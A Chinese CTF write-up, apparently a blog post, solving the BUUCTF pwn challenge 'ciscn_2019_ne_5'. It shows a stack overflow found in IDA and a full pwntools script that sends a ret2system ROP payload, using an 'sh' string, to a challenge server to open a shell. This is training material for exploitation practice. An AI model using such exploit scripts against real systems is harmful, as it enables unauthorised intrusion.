0x1 checksec

根据文件名可知是other shellcode
0x2 IDA
1.main函数

s1只有48,但是scanf读入100,存在溢出点
2.GetFlag函数

flag就是我们的log
读程序流程

case 1,添加一个log,然后case 4去get flag

程序存在system函数
调用bin/sh 去getshell
但是该题有一个小点
用ROPgadget搜不到'/bin/sh' 字符串
'/sh' 'sh'
system的参数不一定必须是“/bin/sh”,单独的“sh”也可以拿到shell
0x3 EXP
from pwn import*
r=remote("node4.buuoj.cn",29072)
elf=ELF('20ciscn2019ne5')
system_addr=elf.sym['system']
shell_addr=0x80482ea
r.recvuntil('Please input admin password:')
r.sendline('administrator')
r.recvuntil('0.Exit\n:')
r.sendline('1')
payload='a'*(0x48+4)+p32(system_addr)+'1234'+p32(shell_addr)
r.recvuntil('Please input new log info:')
r.sendline(payload)
r.recvuntil('0.Exit\n:')
r.sendline('4')
r.interactive()
利用ROP GetShell
本文介绍了一个利用ROP技术进行缓冲区溢出攻击的例子。通过分析一个存在main函数scanf漏洞的程序,利用system函数和精心构造的payload,成功获取了shell。文章详细展示了从漏洞发现到编写并发送恶意payload的全过程。
2092

被折叠的 条评论
为什么被折叠?



